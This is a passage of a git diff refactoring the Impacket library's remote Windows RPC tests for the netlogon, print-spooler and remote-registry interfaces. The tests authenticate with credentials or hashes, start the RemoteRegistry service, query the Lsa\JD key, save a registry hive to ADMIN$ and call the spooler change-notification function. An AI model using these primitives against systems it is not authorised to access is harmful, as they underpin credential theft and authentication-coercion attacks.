nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') - - -class SMBTransport(NRPCTests): - def setUp(self): - NRPCTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.machineUser = configFile.get('SMBTransport', 'machineuser') - self.machineUserHashes = configFile.get('SMBTransport', 'machineuserhashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.machine +@pytest.mark.remote +class NRPCTestsTCPTransport(NRPCTests, unittest.TestCase): + protocol = "ncacn_ip_tcp" + string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER # Process command-line arguments. if __name__ == '__main__': - import sys - - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_rprn.py b/tests/dcerpc/test_rprn.py similarity index 50% rename from tests/SMB_RPC/test_rprn.py rename to tests/dcerpc/test_rprn.py index 38e7d9c0ee..023cf9a178 100644 --- a/tests/SMB_RPC/test_rprn.py +++ b/tests/dcerpc/test_rprn.py @@ -1,53 +1,38 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# RpcOpenPrinterEx -# hRpcOpenPrinterEx -# RpcOpenPrinter -# hRpcOpenPrinter -# RpcRemoteFindFirstPrinterChangeNotificationEx -# hRpcRemoteFindFirstPrinterChangeNotificationEx -# hRpcClosePrinter -# RpcClosePrinter -# RpcEnumPrinters +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# Shouldn't dump errors against a win7 +# Tested so far: +# (h)RpcEnumPrinters +# (h)RpcOpenPrinter +# (h)RpcClosePrinter +# (h)RpcOpenPrinterEx +# (h)RpcRemoteFindFirstPrinterChangeNotificationEx +# Not yet +# RpcEnumPrinterDrivers +# RpcAddPrinterDriverEx # -################################################################################ - from __future__ import division from __future__ import print_function +import pytest import unittest - -from six.moves import configparser +from six import assertRaisesRegex +from tests.dcerpc import DCERPCTests from impacket.dcerpc.v5 import rprn -from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.dtypes import NULL from impacket.structure import hexdump -class RPRNTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(rprn.MSRPC_UUID_RPRN, transfer_syntax = self.ts) - #resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) - - return dce, rpctransport#, resp['phKey'] +class RPRNTests(DCERPCTests): + iface_uuid = rprn.MSRPC_UUID_RPRN + string_binding = r'ncacn_np:{0.machine}[\PIPE\spoolss]' + authn = True def test_RpcEnumPrinters(self): dce, rpctransport = self.connect() @@ -57,14 +42,10 @@ def test_RpcEnumPrinters(self): request['pPrinterEnum'] = NULL request['Level'] = 1 request.dump() - bytesNeeded = 0 - try: - resp = dce.request(request) - resp.dump() - except rprn.DCERPCSessionError as e: - if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0: - raise - bytesNeeded = e.get_packet()['pcbNeeded'] + + with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INSUFFICIENT_BUFFER") as cm: + dce.request(request) + bytesNeeded = cm.exception.get_packet()['pcbNeeded'] request = rprn.RpcEnumPrinters() request['Flags'] = rprn.PRINTER_ENUM_LOCAL @@ -87,7 +68,7 @@ def test_hRpcEnumPrinters(self): def test_RpcOpenPrinter(self): dce, rpctransport = self.connect() request = rprn.RpcOpenPrinter() - request['pPrinterName'] = '\\\\%s\x00' % self.machine + request['pPrinterName'] = "\\\\%s\x00" % self.machine request['pDatatype'] = NULL request['pDevModeContainer']['pDevMode'] = NULL request['AccessRequired'] = rprn.SERVER_READ @@ -99,7 +80,7 @@ def test_RpcClosePrinter(self): dce, rpctransport = self.connect() request = rprn.RpcOpenPrinter() - request['pPrinterName'] = '\\\\%s\x00' % self.machine + request['pPrinterName'] = "\\\\%s\x00" % self.machine request['pDatatype'] = NULL request['pDevModeContainer']['pDevMode'] = NULL request['AccessRequired'] = rprn.SERVER_READ @@ -120,7 +101,7 @@ def test_hRpcOpenPrinter(self): def test_hRpcClosePrinter(self): dce, rpctransport = self.connect() - resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine) + resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine) resp.dump() resp = rprn.hRpcClosePrinter(dce, resp['pHandle']) resp.dump() @@ -128,15 +109,15 @@ def test_hRpcClosePrinter(self): def test_RpcOpenPrinterEx(self): dce, rpctransport = self.connect() request = rprn.RpcOpenPrinterEx() - request['pPrinterName'] = '\\\\%s\x00' % self.machine + request['pPrinterName'] = "\\\\%s\x00" % self.machine request['pDatatype'] = NULL request['AccessRequired'] = rprn.SERVER_READ request['pDevModeContainer']['pDevMode'] = NULL request['pClientInfo']['Level'] = 1 request['pClientInfo']['ClientInfo']['tag'] = 1 request['pClientInfo']['ClientInfo']['pClientInfo1']['dwSize'] = 28 - request['pClientInfo']['ClientInfo']['pClientInfo1']['pMachineName'] = '%s\x00' % self.machine - request['pClientInfo']['ClientInfo']['pClientInfo1']['pUserName'] = '%s\\%s\x00' % (self.domain, self.username) + request['pClientInfo']['ClientInfo']['pClientInfo1']['pMachineName'] = "%s\x00" % self.machine + request['pClientInfo']['ClientInfo']['pClientInfo1']['pUserName'] = "%s\\%s\x00" % (self.domain, self.username) request['pClientInfo']['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0 request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000 request['pClientInfo']['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000 @@ -151,21 +132,21 @@ def test_hRpcOpenPrinterEx(self): clientInfo['Level'] = 1 clientInfo['ClientInfo']['tag'] = 1 clientInfo['ClientInfo']['pClientInfo1']['dwSize'] = 28 - clientInfo['ClientInfo']['pClientInfo1']['pMachineName'] = '%s\x00' % self.machine - clientInfo['ClientInfo']['pClientInfo1']['pUserName'] = '%s\\%s\x00' % (self.domain, self.username) + clientInfo['ClientInfo']['pClientInfo1']['pMachineName'] = "%s\x00" % self.machine + clientInfo['ClientInfo']['pClientInfo1']['pUserName'] = "%s\\%s\x00" % (self.domain, self.username) clientInfo['ClientInfo']['pClientInfo1']['dwBuildNum'] = 0x0 clientInfo['ClientInfo']['pClientInfo1']['dwMajorVersion'] = 0x00000000 clientInfo['ClientInfo']['pClientInfo1']['dwMinorVersion'] = 0x00000000 clientInfo['ClientInfo']['pClientInfo1']['wProcessorArchitecture'] = 0x0009 - resp = rprn.hRpcOpenPrinterEx(dce, '\\\\%s\x00' % self.machine, pClientInfo=clientInfo) + resp = rprn.hRpcOpenPrinterEx(dce, "\\\\%s\x00" % self.machine, pClientInfo=clientInfo) resp.dump() def test_RpcRemoteFindFirstPrinterChangeNotificationEx(self): dce, rpctransport = self.connect() request = rprn.RpcOpenPrinter() - request['pPrinterName'] = '\\\\%s\x00' % self.machine + request['pPrinterName'] = "\\\\%s\x00" % self.machine request['pDatatype'] = NULL request['pDevModeContainer']['pDevMode'] = NULL request['AccessRequired'] = rprn.SERVER_READ | rprn.SERVER_ALL_ACCESS | rprn.SERVER_ACCESS_ADMINISTER @@ -174,66 +155,35 @@ def test_RpcRemoteFindFirstPrinterChangeNotificationEx(self): resp.dump() request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() - request['hPrinter'] = resp['pHandle'] - request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB - request['pszLocalMachine'] = '\\\\%s\x00' % self.machine - request['pOptions'] = NULL + request['hPrinter'] = resp['pHandle'] + request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB + request['pszLocalMachine'] = "\\\\%s\x00" % self.machine + request['pOptions'] = NULL request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('ERROR_INVALID_HANDLE') < 0: - raise + with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INVALID_HANDLE"): + dce.request(request) def test_hRpcRemoteFindFirstPrinterChangeNotificationEx(self): dce, rpctransport = self.connect() - resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % self.machine) + resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % self.machine) + + with assertRaisesRegex(self, rprn.DCERPCSessionError, "ERROR_INVALID_HANDLE"): + rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], + rprn.PRINTER_CHANGE_ADD_JOB, + pszLocalMachine="\\\\%s\x00" % self.machine) + + +@pytest.mark.remote +class RPRNTestsSMBTransport(RPRNTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class RPRNTestsSMBTransport64(RPRNTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 - try: - resp = rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, resp['pHandle'], rprn.PRINTER_CHANGE_ADD_JOB, pszLocalMachine = '\\\\%s\x00' % self.machine ) - resp.dump() - except Exception as e: - if str(e).find('ERROR_INVALID_HANDLE') < 0: - raise - -class SMBTransport(RPRNTests): - def setUp(self): - RPRNTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\spoolss]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - self.rrpStarted = False - -class SMBTransport64(RPRNTests): - def setUp(self): - RPRNTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\spoolss]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_rrp.py b/tests/dcerpc/test_rrp.py similarity index 67% rename from tests/SMB_RPC/test_rrp.py rename to tests/dcerpc/test_rrp.py index 4c5f491fe3..f33c995fde 100644 --- a/tests/SMB_RPC/test_rrp.py +++ b/tests/dcerpc/test_rrp.py @@ -1,124 +1,119 @@ -############################################################################### -# Tested so far: +# Impacket - Collection of Python classes for working with network protocols. # -# OpenClassesRoot -# OpenCurrentUser -# OpenLocalMachine -# OpenPerformanceData -# OpenUsers -# BaseRegCloseKey -# BaseRegCreateKey -# BaseRegDeleteKey -# BaseRegFlushKey -# BaseRegGetKeySecurity -# BaseRegOpenKey -# BaseRegQueryInfoKey -# BaseRegQueryValue -# BaseRegReplaceKey -# BaseRegRestoreKey -# BaseRegSaveKey -# BaseRegSetValue -# BaseRegEnumValue -# BaseRegEnumKey -# BaseRegGetVersion -# OpenCurrentConfig -# BaseRegQueryMultipleValues -# BaseRegSaveKeyEx -# OpenPerformanceText -# OpenPerformanceNlsText -# BaseRegQueryMultipleValues2 -# BaseRegDeleteKeyEx -# BaseRegLoadKey -# BaseRegUnLoadKey -# BaseRegDeleteValue -# -# Not yet: +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# BaseRegSetKeySecurity +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# Shouldn't dump errors against a win7 +# Tested so far: +# OpenClassesRoot +# OpenCurrentUser +# OpenLocalMachine +# OpenPerformanceData +# OpenUsers +# BaseRegCloseKey +# (h)BaseRegCreateKey +# (h)BaseRegSetValue +# (h)BaseRegDeleteKey +# (h)BaseRegEnumKey +# (h)BaseRegEnumValue +# BaseRegFlushKey +# BaseRegGetKeySecurity +# BaseRegOpenKey +# hBaseRegQueryInfoKey +# (h)BaseRegQueryValue +# (h)BaseRegReplaceKey +# (h)BaseRegRestoreKey +# (h)BaseRegSaveKey +# (h)BaseRegGetVersion +# (h)OpenCurrentConfig +# (h)BaseRegQueryMultipleValues +# (h)BaseRegSaveKeyEx +# (h)OpenPerformanceText +# (h)OpenPerformanceNlsText +# BaseRegQueryMultipleValues2 +# BaseRegDeleteKeyEx +# (h)BaseRegLoadKey +# (h)BaseRegUnLoadKey +# hBaseRegDeleteValue +# Not yet: +# BaseRegSetKeySecurity # -################################################################################ - from __future__ import division from __future__ import print_function +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests.dcerpc import DCERPCTests from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import epm, rrp, scmr +from impacket.dcerpc.v5 import rrp, scmr from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION -class RRPTests(unittest.TestCase): +class RRPTests(DCERPCTests): + iface_uuid = rrp.MSRPC_UUID_RRP + string_binding = r"ncacn_np:{0.machine}[\PIPE\winreg]" + authn = True + + test_key = "BETO\x00" + test_value_name = "BETO2\x00" + test_value_data = "HOLA COMO TE VA\x00" + + def setUp(self): + super(RRPTests, self).setUp() + self.rrp_started = False + def connect_scmr(self): rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.machine) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) + rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) dce = rpctransport.get_dce_rpc() # dce.set_max_fragment_size(32) dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) + return dce, rpctransport + + def open_scmanager(self, dce): lpMachineName = 'DUMMY\x00' lpDatabaseName = 'ServicesActive\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | \ scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE - resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess) - scHandle = resp['lpScHandle'] + sc_handle = resp['lpScHandle'] + return sc_handle + + def start_rrp_service(self, dce, sc_handle): + desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ + scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS - return dce, rpctransport, scHandle + resp = scmr.hROpenServiceW(dce, sc_handle, 'RemoteRegistry\x00', desiredAccess) + serviceHandle = resp['lpServiceHandle'] + try: + scmr.hRStartServiceW(dce, serviceHandle) + except Exception as e: + if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0: + pass + else: + raise + scmr.hRCloseServiceHandle(dce, sc_handle) + self.rrp_started = True def connect(self): - if self.rrpStarted is not True: - dce, rpctransport, scHandle = self.connect_scmr() + if not self.rrp_started: + dce, rpctransport = self.connect_scmr() + sc_handle = self.open_scmanager(dce) + self.start_rrp_service(dce, sc_handle) + return super(RRPTests, self).connect() - desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ - scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS - - resp = scmr.hROpenServiceW(dce, scHandle, 'RemoteRegistry\x00', desiredAccess) - resp.dump() - serviceHandle = resp['lpServiceHandle'] - - try: - resp = scmr.hRStartServiceW(dce, serviceHandle ) - except Exception as e: - if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >=0: - pass - else: - raise - resp = scmr.hRCloseServiceHandle(dce, scHandle) - self.rrpStarted = True - - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts) + def open_local_machine(self, dce): resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) - - return dce, rpctransport, resp['phKey'] + return resp['phKey'] def test_OpenClassesRoot(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenClassesRoot() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -126,7 +121,7 @@ def test_OpenClassesRoot(self): resp.dump() def test_OpenCurrentUser(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenCurrentUser() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -134,7 +129,7 @@ def test_OpenCurrentUser(self): resp.dump() def test_OpenLocalMachine(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenLocalMachine() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -142,7 +137,7 @@ def test_OpenLocalMachine(self): resp.dump() def test_OpenPerformanceData(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenPerformanceData() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -150,7 +145,7 @@ def test_OpenPerformanceData(self): resp.dump() def test_OpenUsers(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenUsers() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -158,40 +153,40 @@ def test_OpenUsers(self): resp.dump() def test_BaseRegCloseKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegCloseKey() request['hKey'] = phKey resp = dce.request(request) resp.dump() def test_hBaseRegCreateKey_hBaseRegSetValue_hBaseRegDeleteKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenClassesRoot(dce) resp.dump() regHandle = resp['phKey'] - resp = rrp.hBaseRegCreateKey(dce, regHandle, 'BETO\x00') + resp = rrp.hBaseRegCreateKey(dce, regHandle, self.test_key) resp.dump() phKey = resp['phkResult'] try: - resp = rrp.hBaseRegSetValue(dce, phKey, 'BETO2\x00', rrp.REG_SZ, 'HOLA COMO TE VA\x00') + resp = rrp.hBaseRegSetValue(dce, phKey, self.test_value_name, rrp.REG_SZ, self.test_value_data) resp.dump() except Exception as e: print(e) - type, data = rrp.hBaseRegQueryValue(dce, phKey, 'BETO2\x00') - #print data + type, data = rrp.hBaseRegQueryValue(dce, phKey, self.test_value_name) - resp = rrp.hBaseRegDeleteValue(dce, phKey, 'BETO2\x00') + resp = rrp.hBaseRegDeleteValue(dce, phKey, self.test_value_name) resp.dump() - resp = rrp.hBaseRegDeleteKey(dce, regHandle, 'BETO\x00') + resp = rrp.hBaseRegDeleteKey(dce, regHandle, self.test_key) resp.dump() - self.assertTrue( 'HOLA COMO TE VA\x00' == data ) + self.assertEqual(self.test_value_data, data) def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenClassesRoot() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -201,7 +196,7 @@ def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self): request = rrp.BaseRegCreateKey() request['hKey'] = regHandle - request['lpSubKey'] = 'BETO\x00' + request['lpSubKey'] = self.test_key request['lpClass'] = NULL request['dwOptions'] = 0x00000001 request['samDesired'] = MAXIMUM_ALLOWED @@ -213,10 +208,10 @@ def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self): request = rrp.BaseRegSetValue() request['hKey'] = phKey - request['lpValueName'] = 'BETO\x00' + request['lpValueName'] = self.test_value_name request['dwType'] = rrp.REG_SZ - request['lpData'] = 'HOLA COMO TE VA\x00'.encode('utf-16le') - request['cbData'] = len('HOLA COMO TE VA\x00')*2 + request['lpData'] = self.test_value_data.encode('utf-16le') + request['cbData'] = len(self.test_value_data)*2 try: resp = dce.request(request) @@ -226,7 +221,7 @@ def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self): request = rrp.BaseRegQueryValue() request['hKey'] = phKey - request['lpValueName'] = 'BETO\x00' + request['lpValueName'] = self.test_value_name request['lpData'] = b' '*100 request['lpcbData'] = 100 request['lpcbLen'] = 100 @@ -236,14 +231,15 @@ def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self): request = rrp.BaseRegDeleteKey() request['hKey'] = regHandle - request['lpSubKey'] = 'BETO\x00' + request['lpSubKey'] = self.test_key resp = dce.request(request) resp.dump() print(b''.join(resData).decode('utf-16le')) - self.assertTrue( 'HOLA COMO TE VA\x00' == b''.join(resData).decode('utf-16le')) + self.assertEqual(self.test_value_data, b''.join(resData).decode('utf-16le')) def test_BaseRegEnumKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -264,7 +260,8 @@ def test_BaseRegEnumKey(self): resp.dump() def test_hBaseRegEnumKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -273,11 +270,12 @@ def test_hBaseRegEnumKey(self): request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS resp = dce.request(request) - resp = rrp.hBaseRegEnumKey(dce, resp['phkResult'], 1 ) + resp = rrp.hBaseRegEnumKey(dce, resp['phkResult'], 1) resp.dump() def test_BaseRegEnumValue(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -297,7 +295,8 @@ def test_BaseRegEnumValue(self): resp.dump() def test_hBaseRegEnumValue(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -306,25 +305,24 @@ def test_hBaseRegEnumValue(self): request['samDesired'] = MAXIMUM_ALLOWED resp = dce.request(request) - resp = rrp.hBaseRegEnumValue(dce, resp['phkResult'], 7, 10) + resp = rrp.hBaseRegEnumValue(dce, resp['phkResult'], 6, 100) resp.dump() - def test_BaseRegFlushKey(self): - dce, rpctransport, phKey = self.connect() - - resp = rrp.hBaseRegFlushKey(dce,phKey) + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) + resp = rrp.hBaseRegFlushKey(dce, phKey) resp.dump() def test_BaseRegGetKeySecurity(self): - dce, rpctransport, phKey = self.connect() - + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) resp = rrp.hBaseRegGetKeySecurity(dce, phKey, OWNER_SECURITY_INFORMATION) resp.dump() def test_BaseRegOpenKey(self): - dce, rpctransport, phKey = self.connect() - + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00' @@ -334,15 +332,16 @@ def test_BaseRegOpenKey(self): resp.dump() def test_hBaseRegQueryInfoKey(self): - dce, rpctransport, phKey = self.connect() - - resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00' ) + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) + resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00') - resp = rrp.hBaseRegQueryInfoKey(dce,resp['phkResult']) + resp = rrp.hBaseRegQueryInfoKey(dce, resp['phkResult']) resp.dump() def test_BaseRegQueryValue(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -362,15 +361,17 @@ def test_BaseRegQueryValue(self): resp.dump() def test_hBaseRegQueryValue(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) - resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00' ) + resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00') resp.dump() - resp = rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00') + rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00') def test_BaseRegReplaceKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegReplaceKey() request['hKey'] = phKey @@ -385,7 +386,8 @@ def test_BaseRegReplaceKey(self): raise def test_hBaseRegReplaceKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) try: resp = rrp.hBaseRegReplaceKey(dce, phKey, 'SOFTWARE\x00', 'SOFTWARE\x00', 'SOFTWARE\x00') @@ -395,7 +397,8 @@ def test_hBaseRegReplaceKey(self): raise def test_BaseRegRestoreKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegRestoreKey() request['hKey'] = phKey @@ -409,7 +412,8 @@ def test_BaseRegRestoreKey(self): raise def test_hBaseRegRestoreKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) try: resp = rrp.hBaseRegRestoreKey(dce, phKey, 'SOFTWARE\x00') @@ -419,7 +423,7 @@ def test_hBaseRegRestoreKey(self): raise def test_BaseRegSaveKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenCurrentUser() request['ServerName'] = NULL @@ -438,19 +442,20 @@ def test_BaseRegSaveKey(self): smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2') def test_hBaseRegSaveKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenCurrentUser(dce) resp.dump() - resp = rrp.hBaseRegSaveKey(dce,resp['phKey'],'BETUSFILE2\x00') + resp = rrp.hBaseRegSaveKey(dce, resp['phKey'], 'BETUSFILE2\x00') resp.dump() # I gotta remove the file now :s smb = rpctransport.get_smb_connection() smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2') def test_BaseRegGetVersion(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegGetVersion() request['hKey'] = phKey @@ -458,13 +463,14 @@ def test_BaseRegGetVersion(self): resp.dump() def test_hBaseRegGetVersion(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) resp = rrp.hBaseRegGetVersion(dce, phKey) resp.dump() def test_OpenCurrentConfig(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenCurrentConfig() request['ServerName'] = NULL @@ -473,13 +479,14 @@ def test_OpenCurrentConfig(self): resp.dump() def test_hOpenCurrentConfig(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenCurrentConfig(dce) resp.dump() def test_BaseRegQueryMultipleValues(self): - dce, 